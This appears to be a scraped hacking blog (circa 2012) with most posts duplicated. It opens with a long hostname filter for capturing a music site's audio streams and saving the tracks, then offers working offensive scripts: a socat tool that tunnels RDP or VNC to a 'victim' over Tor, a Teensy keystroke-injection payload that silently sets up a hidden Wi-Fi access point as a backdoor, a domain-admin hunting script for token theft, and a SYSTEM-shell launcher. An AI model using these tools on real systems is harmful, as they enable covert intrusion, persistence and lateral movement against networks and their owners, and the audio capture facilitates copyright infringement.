server-ph-dc4-44-227.popularmusicsite.com or server-ph-dc4-44-228.popularmusicsite.com or server-ph-dc4-44-229.popularmusicsite.com or server-ph-dc4-44-230.popularmusicsite.com or server-ph-dc4-44-231.popularmusicsite.com or server-ph-dc4-44-232.popularmusicsite.com or server-ph-dc4-44-233.popularmusicsite.com or server-ph-dc4-44-234.popularmusicsite.com or server-ph-dc4-44-235.popularmusicsite.com or server-ph-dc4-44-236.popularmusicsite.com or server-ph-dc4-44-237.popularmusicsite.com or server-ph-dc4-44-238.popularmusicsite.com or server-ph-dc4-44-239.popularmusicsite.com or server-ph-dc4-44-240.popularmusicsite.com or server-ph-dc4-44-241.popularmusicsite.com or server-ph-dc4-44-242.popularmusicsite.com or server-ph-dc4-44-243.popularmusicsite.com or server-ph-dc4-44-244.popularmusicsite.com or server-ph-dc4-44-245.popularmusicsite.com or server-ph-dc4-44-246.popularmusicsite.com or server-ph-dc4-44-247.popularmusicsite.com or server-ph-dc4-44-248.popularmusicsite.com or server-ph-dc4-44-249.popularmusicsite.com or server-ph-dc4-44-250.popularmusicsite.com or server-ph-dc4-44-251.popularmusicsite.com or server-ph-dc4-44-252.popularmusicsite.com or server-ph-dc4-44-253.popularmusicsite.com or server-ph-dc4-44-254.popularmusicsite.com or future-208-85-45-1.popularmusicsite.com or dc4-208-85-45-33.popularmusicsite.com or dc4-208-85-45-34.popularmusicsite.com or dc6-peer-1-te-0-0.popularmusicsite.com or charter-208-85-45-38.popularmusicsite.com or sv5-peer-1-te-4-1.popularmusicsite.com or charter-208-85-45-42.popularmusicsite.com or server-ph-dc4-45-45.popularmusicsite.com or server-ph-dc4-45-46.popularmusicsite.com or server-ph-dc4-45-48.popularmusicsite.com or server-ph-dc4-45-49.popularmusicsite.com or server-ph-dc4-45-50.popularmusicsite.com or server-ph-dc4-45-51.popularmusicsite.com or server-ph-dc4-45-52.popularmusicsite.com or server-ph-dc4-45-53.popularmusicsite.com or server-ph-dc4-45-54.popularmusicsite.com or server-ph-dc4-45-55.popularmusicsite.com or server-ph-dc4-45-56.popularmusicsite.com or server-ph-dc4-45-57.popularmusicsite.com or server-ph-dc4-45-58.popularmusicsite.com or server-ph-dc4-45-59.popularmusicsite.com or server-ph-dc4-45-60.popularmusicsite.com or server-ph-dc4-45-61.popularmusicsite.com or server-ph-dc4-45-62.popularmusicsite.com or server-ph-dc4-45-63.popularmusicsite.com or server-ph-dc4-45-64.popularmusicsite.com or server-ph-dc4-45-65.popularmusicsite.com or server-ph-dc4-45-66.popularmusicsite.com or server-ph-dc4-45-67.popularmusicsite.com or server-ph-dc4-45-68.popularmusicsite.com or server-ph-dc4-45-69.popularmusicsite.com or server-ph-dc4-45-70.popularmusicsite.com or server-ph-dc4-45-71.popularmusicsite.com or server-ph-dc4-45-72.popularmusicsite.com or server-ph-dc4-45-73.popularmusicsite.com or server-ph-dc4-45-74.popularmusicsite.com or server-ph-dc4-45-75.popularmusicsite.com or server-ph-dc4-45-76.popularmusicsite.com or server-ph-dc4-45-77.popularmusicsite.com or server-ph-dc4-45-78.popularmusicsite.com or server-ph-dc4-45-79.popularmusicsite.com or server-ph-dc4-45-80.popularmusicsite.com or server-ph-dc4-45-81.popularmusicsite.com or server-ph-dc4-45-82.popularmusicsite.com or server-ph-dc4-45-83.popularmusicsite.com or server-ph-dc4-45-84.popularmusicsite.com or server-ph-dc4-45-85.popularmusicsite.com or server-ph-dc4-45-86.popularmusicsite.com or server-ph-dc4-45-87.popularmusicsite.com or server-ph-dc4-45-88.popularmusicsite.com or server-ph-dc4-45-89.popularmusicsite.com or server-ph-dc4-45-90.popularmusicsite.com or server-ph-dc4-45-91.popularmusicsite.com or server-ph-dc4-45-92.popularmusicsite.com or server-ph-dc4-45-93.popularmusicsite.com or server-ph-dc4-45-94.popularmusicsite.com or server-ph-dc4-45-95.popularmusicsite.com or server-ph-dc4-45-96.popularmusicsite.com or server-ph-dc4-45-97.popularmusicsite.com or server-ph-dc4-45-98.popularmusicsite.com or server-ph-dc4-45-99.popularmusicsite.com or server-ph-dc4-45-100.popularmusicsite.com or server-ph-dc4-45-101.popularmusicsite.com or server-ph-dc4-45-102.popularmusicsite.com or server-ph-dc4-45-103.popularmusicsite.com or server-ph-dc4-45-104.popularmusicsite.com or server-ph-dc4-45-105.popularmusicsite.com or server-ph-dc4-45-107.popularmusicsite.com or server-ph-dc4-45-108.popularmusicsite.com or server-ph-dc4-45-109.popularmusicsite.com or server-ph-dc4-45-110.popularmusicsite.com or server-ph-dc4-45-111.popularmusicsite.com or server-ph-dc4-45-112.popularmusicsite.com or server-ph-dc4-45-113.popularmusicsite.com or server-ph-dc4-45-114.popularmusicsite.com or server-ph-dc4-45-115.popularmusicsite.com or server-ph-dc4-45-117.popularmusicsite.com or server-ph-dc4-45-118.popularmusicsite.com or server-ph-dc4-45-119.popularmusicsite.com or server-ph-dc4-45-120.popularmusicsite.com or server-ph-dc4-45-121.popularmusicsite.com or server-ph-dc4-45-122.popularmusicsite.com or server-ph-dc4-45-124.popularmusicsite.com or server-ph-dc4-45-125.popularmusicsite.com or server-ph-dc4-45-126.popularmusicsite.com or server-ph-dc4-45-127.popularmusicsite.com or server-ph-dc4-45-128.popularmusicsite.com or server-ph-dc4-45-129.popularmusicsite.com or server-ph-dc4-45-130.popularmusicsite.com or server-ph-dc4-45-131.popularmusicsite.com or server-ph-dc4-45-132.popularmusicsite.com or server-ph-dc4-45-133.popularmusicsite.com or server-ph-dc4-45-134.popularmusicsite.com or server-ph-dc4-45-135.popularmusicsite.com or server-ph-dc4-45-136.popularmusicsite.com or server-ph-dc4-45-137.popularmusicsite.com or server-ph-dc4-45-138.popularmusicsite.com or server-ph-dc4-45-139.popularmusicsite.com or server-ph-dc4-45-140.popularmusicsite.com or server-ph-dc4-45-141.popularmusicsite.com or server-ph-dc4-45-142.popularmusicsite.com or server-ph-dc4-45-143.popularmusicsite.com or server-ph-dc4-45-144.popularmusicsite.com or server-ph-dc4-45-145.popularmusicsite.com or server-ph-dc4-45-146.popularmusicsite.com or server-ph-dc4-45-147.popularmusicsite.com or server-ph-dc4-45-148.popularmusicsite.com or server-ph-dc4-45-149.popularmusicsite.com or server-ph-dc4-45-150.popularmusicsite.com or server-ph-dc4-45-151.popularmusicsite.com or server-ph-dc4-45-152.popularmusicsite.com or server-ph-dc4-45-153.popularmusicsite.com or server-ph-dc4-45-154.popularmusicsite.com or server-ph-dc4-45-155.popularmusicsite.com or server-ph-dc4-45-156.popularmusicsite.com or server-ph-dc4-45-157.popularmusicsite.com or server-ph-dc4-45-158.popularmusicsite.com or server-ph-dc4-45-159.popularmusicsite.com or server-ph-dc4-45-160.popularmusicsite.com or server-ph-dc4-45-161.popularmusicsite.com or server-ph-dc4-45-162.popularmusicsite.com or server-ph-dc4-45-163.popularmusicsite.com or server-ph-dc4-45-164.popularmusicsite.com or server-ph-dc4-45-165.popularmusicsite.com or server-ph-dc4-45-166.popularmusicsite.com or server-ph-dc4-45-167.popularmusicsite.com or server-ph-dc4-45-168.popularmusicsite.com or server-ph-dc4-45-169.popularmusicsite.com or server-ph-dc4-45-170.popularmusicsite.com or server-ph-dc4-45-171.popularmusicsite.com or server-ph-dc4-45-172.popularmusicsite.com or server-ph-dc4-45-173.popularmusicsite.com or server-ph-dc4-45-174.popularmusicsite.com or server-ph-dc4-45-175.popularmusicsite.com or server-ph-dc4-45-176.popularmusicsite.com or server-ph-dc4-45-177.popularmusicsite.com or server-ph-dc4-45-178.popularmusicsite.com or server-ph-dc4-45-179.popularmusicsite.com or server-ph-dc4-45-180.popularmusicsite.com or server-ph-dc4-45-181.popularmusicsite.com or server-ph-dc4-45-182.popularmusicsite.com or server-ph-dc4-45-183.popularmusicsite.com or server-ph-dc4-45-184.popularmusicsite.com or server-ph-dc4-45-185.popularmusicsite.com or server-ph-dc4-45-186.popularmusicsite.com or server-ph-dc4-45-187.popularmusicsite.com or server-ph-dc4-45-188.popularmusicsite.com or server-ph-dc4-45-189.popularmusicsite.com or server-ph-dc4-45-190.popularmusicsite.com or server-ph-dc4-45-191.popularmusicsite.com or server-ph-dc4-45-192.popularmusicsite.com or server-ph-dc4-45-194.popularmusicsite.com or server-ph-dc4-45-195.popularmusicsite.com or server-ph-dc4-45-196.popularmusicsite.com or server-ph-dc4-45-197.popularmusicsite.com or server-ph-dc4-45-198.popularmusicsite.com or server-ph-dc4-45-199.popularmusicsite.com or server-ph-dc4-45-201.popularmusicsite.com or server-ph-dc4-45-202.popularmusicsite.com or server-ph-dc4-45-203.popularmusicsite.com or server-ph-dc4-45-204.popularmusicsite.com or server-ph-dc4-45-206.popularmusicsite.com or server-ph-dc4-45-207.popularmusicsite.com or server-ph-dc4-45-209.popularmusicsite.com or server-ph-dc4-45-210.popularmusicsite.com or server-ph-dc4-45-211.popularmusicsite.com or server-ph-dc4-45-212.popularmusicsite.com or server-ph-dc4-45-213.popularmusicsite.com or server-ph-dc4-45-214.popularmusicsite.com or server-ph-dc4-45-215.popularmusicsite.com or server-ph-dc4-45-216.popularmusicsite.com or server-ph-dc4-45-217.popularmusicsite.com or server-ph-dc4-45-218.popularmusicsite.com or server-ph-dc4-45-219.popularmusicsite.com or server-ph-dc4-45-220.popularmusicsite.com or server-ph-dc4-45-221.popularmusicsite.com or server-ph-dc4-45-222.popularmusicsite.com or server-ph-dc4-45-223.popularmusicsite.com or server-ph-dc4-45-224.popularmusicsite.com or server-ph-dc4-45-226.popularmusicsite.com or server-ph-dc4-45-227.popularmusicsite.com or server-ph-dc4-45-228.popularmusicsite.com or server-ph-dc4-45-229.popularmusicsite.com or server-ph-dc4-45-230.popularmusicsite.com or server-ph-dc4-45-232.popularmusicsite.com or server-ph-dc4-45-233.popularmusicsite.com or server-ph-dc4-45-234.popularmusicsite.com or server-ph-dc4-45-235.popularmusicsite.com or server-ph-dc4-45-236.popularmusicsite.com or server-ph-dc4-45-237.popularmusicsite.com or server-ph-dc4-45-238.popularmusicsite.com or server-ph-dc4-45-239.popularmusicsite.com or server-ph-dc4-45-240.popularmusicsite.com or server-ph-dc4-45-241.popularmusicsite.com or server-ph-dc4-45-242.popularmusicsite.com or server-ph-dc4-45-243.popularmusicsite.com or server-ph-dc4-45-244.popularmusicsite.com or server-ph-dc4-45-245.popularmusicsite.com or server-ph-dc4-45-246.popularmusicsite.com or server-ph-dc4-45-247.popularmusicsite.com or server-ph-dc4-45-248.popularmusicsite.com or server-ph-dc4-45-249.popularmusicsite.com or server-ph-dc4-45-250.popularmusicsite.com or server-ph-dc4-45-251.popularmusicsite.com or server-ph-dc4-45-252.popularmusicsite.com or server-ph-dc4-45-253.popularmusicsite.com or server-ph-dc4-45-254.popularmusicsite.com or dc6-e-1-208-85-46-1.popularmusicsite.com or dc6-e-2-208-85-46-2.popularmusicsite.com or dc6-e-2-208-85-46-3.popularmusicsite.com or dc6-e-2-208-85-46-4.popularmusicsite.com or dc6-e-2-208-85-46-5.popularmusicsite.com or dc6-e-2-208-85-46-6.popularmusicsite.com or dc6-e-2-208-85-46-7.popularmusicsite.com or dc6-e-2-208-85-46-8.popularmusicsite.com or dc6-e-2-208-85-46-9.popularmusicsite.com or dc6-e-2-208-85-46-10.popularmusicsite.com or dc6-e-2-208-85-46-11.popularmusicsite.com or dc6-e-2-208-85-46-12.popularmusicsite.com or dc6-e-2-208-85-46-13.popularmusicsite.com or mediaserver-dc6-t1-1.popularmusicsite.com or mediaserver-dc6-t1-2.popularmusicsite.com or mediaserver-dc6-t1-3.popularmusicsite.com or mediaserver-dc6-t1-4.popularmusicsite.com or mediaserver-dc6-t2-1.popularmusicsite.com or mediaserver-dc6-t2-2.popularmusicsite.com or mediaserver-dc6-t2-3.popularmusicsite.com or mediaserver-dc6-t2-4.popularmusicsite.com or mediaserver-dc6-t3-1.popularmusicsite.com or mediaserver-dc6-t3-2.popularmusicsite.com or mediaserver-dc6-t3-3.popularmusicsite.com or mediaserver-dc6-t3-4.popularmusicsite.com
If you take the time I'm sure you can figure out what popularmusicsite.com is.
This particular popular music site separates out their audio media servers and their ad media servers so you can specify specifically just audio servers. You could grab everything with a net src filter with the IP block but that's not what I was trying to accomplish. This filter should be just audio files captured.
So that's pretty much it, just go listen to music for a few hours and keep a copy of everything you listened to.
Open your pcap file in wireshark, click on File -> Export -> Objects -> HTTP
You should have nothing but audio/mp4 listed in the content type.
Click Save All, save them to a folder.
You'll then need to rename all the files and add the extension .mp4
Sounds like a lot of legwork renaming all those files since they have a bunch of odd characters in their names, would be a good job for a script...
Place this script one directory up, change blar to whatever the directory name is that you have all your exported music in.
-=Script=-
@echo off
setlocal EnableDelayedExpansion
dir /b .\blar >> output.txt
for /f %%a in (output.txt) do (
set t=!random!
ren ".\blar\%%a" "!t!.mp4"
)
del /f /q output.txt
Echo Done..
pause
This will give you a random number as a name for all files and tag the .mp4 extension on there.
Winamp's autotag does a good job of getting the meta data updated on the files. I don't know of anything that will change the actual filename based on the metadata. If you do, post a comment.
==Update==
Comment posted suggests using MP3Tag, it works perfectly.
Friday, March 23, 2012
Change the URLs in all .url files in the favorites folder
This summary is not available. Please
click here to view the post.
Thursday, March 22, 2012
RDP Over Tor
Привет мои товарищи России
Sometimes I like to use Tor for stuff. Sometimes that stuff is the Remote Desktop Protocol
This requires you have TOR setup and know how to use it and aren't an idiot that thinks just turning on TOR will make you invisible to the world.
You'll also need a handy little program called socat:
----------
UPDATE
----------
Since this is the most popular post I have (I'm looking at you Russia) I figured I'd be a decent guy and find the socat binaries on the web and link to them.
Here's the link for Socat:
Socat Binaries For Windows
(French description on top, scroll to the bottom for English)
Respect to the Blog of the Nice Kiwi.
Extract that into one folder and add script from below.
Toss until evenly coated.
You'll need to adjust path for where TOR is installed for you.
-=The Script=-
@echo off
set c=%random%
if %c% GTR 15 goto less
if %c% LEQ 15 goto rainbow
:less
set c=%c:~1%
if %c% LEQ 15 goto rainbow
if %c% GTR 15 goto less
:rainbow
if %c% EQU 1 color 01
if %c% EQU 2 color 0A
if %c% EQU 3 color 03
if %c% EQU 4 color 04
if %c% EQU 5 color 05
if %c% EQU 6 color 0D
if %c% EQU 7 color 07
if %c% EQU 8 color 0F
if %c% EQU 9 color 09
if %c% EQU 10 color 02
if %c% EQU 11 color 0B
if %c% EQU 12 color 0C
if %c% EQU 13 color 06
if %c% EQU 14 color 0E
if %c% EQU 15 color 09
cls
Title Starting TOR
Echo Connecting to the DarkWebs
start "TOR" /DC:\progra~1\vidali~1\tor\tor.exe
cls
Title Meow~~~
echo ************
echo RDP over TOR
echo ************
echo +Enter Victim Address:
set /p victim=
cls
title Meow~~~ +%victim%
echo +Enter Victim Port: *default 3389
set /p port=
cls
title Meow~~~ +%victim%:%port%
echo +Enter Local Port to Listen on: *ex: 1234
set /p lport=
cls
title Meow~~~ +%victim%:%port% from 127.0.0.1:%lport%
echo #Give a CTRL+C to bail
echo +Launching MSTSC for you...
start mstsc /V:127.0.0.1:%lport%
echo +Connecting...
socat TCP4-LISTEN:%lport%,fork SOCKS4A:localhost:%victim%:%port%,socksport=9050
exit
***************
*BONUS STAGE*
***************
Same script except I got rid of the auto launch of mstsc and changed RDP to VNC in the text.
-=The Script=-
@echo off
@echo off
set c=%random%
if %c% GTR 15 goto less
if %c% LEQ 15 goto rainbow
:less
set c=%c:~1%
if %c% LEQ 15 goto rainbow
if %c% GTR 15 goto less
:rainbow
if %c% EQU 1 color 01
if %c% EQU 2 color 0A
if %c% EQU 3 color 03
if %c% EQU 4 color 04
if %c% EQU 5 color 05
if %c% EQU 6 color 0D
if %c% EQU 7 color 07
if %c% EQU 8 color 0F
if %c% EQU 9 color 09
if %c% EQU 10 color 02
if %c% EQU 11 color 0B
if %c% EQU 12 color 0C
if %c% EQU 13 color 06
if %c% EQU 14 color 0E
if %c% EQU 15 color 09
cls
Title Starting TOR
Echo Connecting to the DarkWebs
start "TOR" /DC:\progra~1\vidali~1\tor\tor.exe
cls
Title Meow~~~
echo ************
echo VNC over TOR
echo ************
echo +Enter Victim Address:
set /p victim=
cls
title Meow~~~ +%victim%
echo +Enter Victim Port: *default 5900
set /p port=
cls
title Meow~~~ +%victim%:%port%
echo +Enter Local Port to Listen on: *ex: 1234
set /p lport=
cls
title Meow~~~ +%victim%:%port% from 127.0.0.1:%lport%
echo Connect VNC to 127.0.0.1:%lport%
echo +Connecting...
socat TCP4-LISTEN:%lport%,fork SOCKS4A:localhost:%victim%:%port%,socksport=9050
exit
Change your ports and any program that can run through SOCKS can be run through TOR with these scripts and socat.
Sometimes I like to use Tor for stuff. Sometimes that stuff is the Remote Desktop Protocol
This requires you have TOR setup and know how to use it and aren't an idiot that thinks just turning on TOR will make you invisible to the world.
You'll also need a handy little program called socat:
----------
UPDATE
----------
Since this is the most popular post I have (I'm looking at you Russia) I figured I'd be a decent guy and find the socat binaries on the web and link to them.
Here's the link for Socat:
Socat Binaries For Windows
(French description on top, scroll to the bottom for English)
Respect to the Blog of the Nice Kiwi.
Extract that into one folder and add script from below.
Toss until evenly coated.
You'll need to adjust path for where TOR is installed for you.
-=The Script=-
@echo off
set c=%random%
if %c% GTR 15 goto less
if %c% LEQ 15 goto rainbow
:less
set c=%c:~1%
if %c% LEQ 15 goto rainbow
if %c% GTR 15 goto less
:rainbow
if %c% EQU 1 color 01
if %c% EQU 2 color 0A
if %c% EQU 3 color 03
if %c% EQU 4 color 04
if %c% EQU 5 color 05
if %c% EQU 6 color 0D
if %c% EQU 7 color 07
if %c% EQU 8 color 0F
if %c% EQU 9 color 09
if %c% EQU 10 color 02
if %c% EQU 11 color 0B
if %c% EQU 12 color 0C
if %c% EQU 13 color 06
if %c% EQU 14 color 0E
if %c% EQU 15 color 09
cls
Title Starting TOR
Echo Connecting to the DarkWebs
start "TOR" /DC:\progra~1\vidali~1\tor\tor.exe
cls
Title Meow~~~
echo ************
echo RDP over TOR
echo ************
echo +Enter Victim Address:
set /p victim=
cls
title Meow~~~ +%victim%
echo +Enter Victim Port: *default 3389
set /p port=
cls
title Meow~~~ +%victim%:%port%
echo +Enter Local Port to Listen on: *ex: 1234
set /p lport=
cls
title Meow~~~ +%victim%:%port% from 127.0.0.1:%lport%
echo #Give a CTRL+C to bail
echo +Launching MSTSC for you...
start mstsc /V:127.0.0.1:%lport%
echo +Connecting...
socat TCP4-LISTEN:%lport%,fork SOCKS4A:localhost:%victim%:%port%,socksport=9050
exit
***************
*BONUS STAGE*
***************
Same script except I got rid of the auto launch of mstsc and changed RDP to VNC in the text.
-=The Script=-
@echo off
@echo off
set c=%random%
if %c% GTR 15 goto less
if %c% LEQ 15 goto rainbow
:less
set c=%c:~1%
if %c% LEQ 15 goto rainbow
if %c% GTR 15 goto less
:rainbow
if %c% EQU 1 color 01
if %c% EQU 2 color 0A
if %c% EQU 3 color 03
if %c% EQU 4 color 04
if %c% EQU 5 color 05
if %c% EQU 6 color 0D
if %c% EQU 7 color 07
if %c% EQU 8 color 0F
if %c% EQU 9 color 09
if %c% EQU 10 color 02
if %c% EQU 11 color 0B
if %c% EQU 12 color 0C
if %c% EQU 13 color 06
if %c% EQU 14 color 0E
if %c% EQU 15 color 09
cls
Title Starting TOR
Echo Connecting to the DarkWebs
start "TOR" /DC:\progra~1\vidali~1\tor\tor.exe
cls
Title Meow~~~
echo ************
echo VNC over TOR
echo ************
echo +Enter Victim Address:
set /p victim=
cls
title Meow~~~ +%victim%
echo +Enter Victim Port: *default 5900
set /p port=
cls
title Meow~~~ +%victim%:%port%
echo +Enter Local Port to Listen on: *ex: 1234
set /p lport=
cls
title Meow~~~ +%victim%:%port% from 127.0.0.1:%lport%
echo Connect VNC to 127.0.0.1:%lport%
echo +Connecting...
socat TCP4-LISTEN:%lport%,fork SOCKS4A:localhost:%victim%:%port%,socksport=9050
exit
Change your ports and any program that can run through SOCKS can be run through TOR with these scripts and socat.
Arduino Win7 wireless backdoor.
I picked up a Teensy a while back. If you don't have one and you like either causing trouble or penetration testing I HIGHLY recommend you pick one up.
Anyways, I learned about an interesting feature in windows 7 that (if your wireless card supports it) allows you to create a software AP. So then you can connect to that and share your internet connection... or set it up without a users knowledge, install a bind shell, and have a very hard to find wireless backdoor.
Now there are a few things that I really like about this.
1) The computer it's setup on doesn't pick up the new wireless network. So while their computer is now broadcasting a new network, when they scan for available wireless networks, they don't pick it up.
2) There's no notifications to the user.
3) You can script it.
4) It'll drive some poor admin NUTS trying to find the physical access point some stupid end user plugged in somewhere.
So I set about to make my teensy emulate a keyboard and type out all the commands I wanted then dump a bind shell and activate it.
Here's the code to start cmd.exe as administrator (this assumes UAC is enabled), and enter the commands to enable a new soft ap with ssid Blakhal0 and wpa passphrase Iamsupercool.
void setup() { }
void loop(){
delay(10000);
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.send_now();
delay(500);
Keyboard.print("cmd");
delay(500);
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.send_now();
Keyboard.set_key1(KEY_Y);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.print("netsh wlan set hostednetwork mode=allow ssid=Blakhal0 key=Iamsupercool");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.print("netsh wlan start hostednetwork");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.print("exit");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(999999);
}
www.irongeek.com
You can figure out the dropping the bind shell on your own you lazy mooches.
Having it drop the bind shell is left as an exercise to the reader.
I did send this to Dave Kennedy (ReL1K) www.secmaniac.com to integrate into SET as an arduino payload but I've yet to see it as an option. Or maybe I just didn't see it in the change log, I mean it's not like he releases 15,000 revisions (a day) when he gets on a roll. And I haven't had the occasion to need to use SET in a while.
So for those playing at home the batch equivalent of this is pretty easy to figure out since, well, it's right in there. Of course you're missing the need to run as administrator part, but if you happen to pop a shell on a windows 7 box with wireless you can give this a try or if you're psexec'd in. Again it'll only work if the wireless card will support it and you have to be administrator or better. Most of the wireless cards I've tested it with worked out of the box or just needed a firmware update. I haven't found any (out of the 5 I've tested) that flat out wouldn't work.
-=The Script=-
@echo off
netsh wlan set hostednetwork mode=allow ssid=Blakhal0 key=Iamsupercool
netsh wlan start hostednetwork
exit
Anyways, I learned about an interesting feature in windows 7 that (if your wireless card supports it) allows you to create a software AP. So then you can connect to that and share your internet connection... or set it up without a users knowledge, install a bind shell, and have a very hard to find wireless backdoor.
Now there are a few things that I really like about this.
1) The computer it's setup on doesn't pick up the new wireless network. So while their computer is now broadcasting a new network, when they scan for available wireless networks, they don't pick it up.
2) There's no notifications to the user.
3) You can script it.
4) It'll drive some poor admin NUTS trying to find the physical access point some stupid end user plugged in somewhere.
So I set about to make my teensy emulate a keyboard and type out all the commands I wanted then dump a bind shell and activate it.
Here's the code to start cmd.exe as administrator (this assumes UAC is enabled), and enter the commands to enable a new soft ap with ssid Blakhal0 and wpa passphrase Iamsupercool.
void setup() { }
void loop(){
delay(10000);
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.send_now();
delay(500);
Keyboard.print("cmd");
delay(500);
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.send_now();
Keyboard.set_key1(KEY_Y);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.print("netsh wlan set hostednetwork mode=allow ssid=Blakhal0 key=Iamsupercool");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.print("netsh wlan start hostednetwork");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.print("exit");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(999999);
}
www.irongeek.com
Having it drop the bind shell is left as an exercise to the reader.
I did send this to Dave Kennedy (ReL1K) www.secmaniac.com to integrate into SET as an arduino payload but I've yet to see it as an option. Or maybe I just didn't see it in the change log, I mean it's not like he releases 15,000 revisions (a day) when he gets on a roll. And I haven't had the occasion to need to use SET in a while.
So for those playing at home the batch equivalent of this is pretty easy to figure out since, well, it's right in there. Of course you're missing the need to run as administrator part, but if you happen to pop a shell on a windows 7 box with wireless you can give this a try or if you're psexec'd in. Again it'll only work if the wireless card will support it and you have to be administrator or better. Most of the wireless cards I've tested it with worked out of the box or just needed a firmware update. I haven't found any (out of the 5 I've tested) that flat out wouldn't work.
-=The Script=-
@echo off
netsh wlan set hostednetwork mode=allow ssid=Blakhal0 key=Iamsupercool
netsh wlan start hostednetwork
exit
Find Processes Running as a Domain Admin
You'll need a user account that's admin on all the local machines to run this one.
Searches all running processes on all computers reported from net view for a username that matches one from the file names.txt (you make that yourself). I suppose this could be augmented with another script to dump the net localgroup administrators /domain and parse that out into the names.txt file. I'll leave that as an exercise to the reader.
Useful for finding a token to steal or maybe a process to inject into.
-=The Script=-
@echo off
echo Enter Username
set /p user=
echo Enter Password
set /p password=
net view >> comp.txt
Echo Parsing Results...
for /f "tokens=1" %%i in (comp.txt) do echo %%i >> comp2.txt
for /f "delims=\" %%i in (comp2.txt) do echo %%i >> ips.txt
del /f /q comp.txt
del /f /q comp2.txt
FOR /F %%i in (ips.txt) DO @echo [+] %%i && @tasklist /V /S %%i /U %user% /P %password% 2>NUL > output.txt && FOR /F %%n in (names.txt) DO @type output.txt | findstr %%n > NUL && echo [!] %%n was found running a process on %%i && pause
Searches all running processes on all computers reported from net view for a username that matches one from the file names.txt (you make that yourself). I suppose this could be augmented with another script to dump the net localgroup administrators /domain and parse that out into the names.txt file. I'll leave that as an exercise to the reader.
Useful for finding a token to steal or maybe a process to inject into.
-=The Script=-
@echo off
echo Enter Username
set /p user=
echo Enter Password
set /p password=
net view >> comp.txt
Echo Parsing Results...
for /f "tokens=1" %%i in (comp.txt) do echo %%i >> comp2.txt
for /f "delims=\" %%i in (comp2.txt) do echo %%i >> ips.txt
del /f /q comp.txt
del /f /q comp2.txt
FOR /F %%i in (ips.txt) DO @echo [+] %%i && @tasklist /V /S %%i /U %user% /P %password% 2>NUL > output.txt && FOR /F %%n in (names.txt) DO @type output.txt | findstr %%n > NUL && echo [!] %%n was found running a process on %%i && pause
Start cmd.exe as system in 1 minute
Not sure exactly why I wrote this one but it's come in handy a few times. For those times when Admin rights just aren't enough...
Starts cmd.exe running as system from the AT task scheduler one minute from the time the script is run.
-=The Script=-
@echo off
set tm=%time:~3,2%
set hr=%time:~0,2%
if "%hr:~0,1%"==" " set hr=0%time:~1,1%
set tens=%time:~3,1%
set ones=%time:~4,1%
echo %tm%
echo %tens%
echo %ones%
if %ones% == 0 set bt=1
if %ones% == 1 set bt=2
if %ones% == 2 set bt=3
if %ones% == 3 set bt=4
if %ones% == 4 set bt=5
if %ones% == 5 set bt=6
if %ones% == 6 set bt=7
if %ones% == 7 set bt=8
if %ones% == 8 set bt=9
if %ones% == 9 set goto jmpten
at %hr%:%tens%%bt% /interactive cmd.exe
exit
:jmpten
if %tens% == 0 set btt=1
if %tens% == 1 set btt=2
if %tens% == 2 set btt=3
if %tens% == 3 set btt=4
if %tens% == 4 set btt=5
if %tens% == 5 set btt=6
if %tens% == 6 set btt=7
if %tens% == 7 set btt=8
if %tens% == 8 set btt=9
if %tens% == 9 set goto badend
at %hr%:%btt%%bt% /interactive cmd.exe
exit
:badend
echo I'm lazy and didn't want to code this extra bit for the event of an hour change
echo Just wait a minute and run it again.
pause > nul
Starts cmd.exe running as system from the AT task scheduler one minute from the time the script is run.
-=The Script=-
@echo off
set tm=%time:~3,2%
set hr=%time:~0,2%
if "%hr:~0,1%"==" " set hr=0%time:~1,1%
set tens=%time:~3,1%
set ones=%time:~4,1%
echo %tm%
echo %tens%
echo %ones%
if %ones% == 0 set bt=1
if %ones% == 1 set bt=2
if %ones% == 2 set bt=3
if %ones% == 3 set bt=4
if %ones% == 4 set bt=5
if %ones% == 5 set bt=6
if %ones% == 6 set bt=7
if %ones% == 7 set bt=8
if %ones% == 8 set bt=9
if %ones% == 9 set goto jmpten
at %hr%:%tens%%bt% /interactive cmd.exe
exit
:jmpten
if %tens% == 0 set btt=1
if %tens% == 1 set btt=2
if %tens% == 2 set btt=3
if %tens% == 3 set btt=4
if %tens% == 4 set btt=5
if %tens% == 5 set btt=6
if %tens% == 6 set btt=7
if %tens% == 7 set btt=8
if %tens% == 8 set btt=9
if %tens% == 9 set goto badend
at %hr%:%btt%%bt% /interactive cmd.exe
exit
:badend
echo I'm lazy and didn't want to code this extra bit for the event of an hour change
echo Just wait a minute and run it again.
pause > nul
Random Remote Shutdown
